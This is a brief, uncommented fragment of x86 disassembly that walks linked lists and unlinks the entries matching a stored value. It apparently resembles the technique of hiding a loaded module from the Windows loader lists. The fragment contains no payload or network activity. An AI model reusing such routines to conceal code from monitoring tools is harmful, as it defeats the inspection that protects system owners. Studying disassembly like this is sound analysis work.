mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001e5b6
cmp edx, esi
jne 0x1001e59b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1001e5d6
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001e5da
cmp edx, esi
jne 0x1001e5bf
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret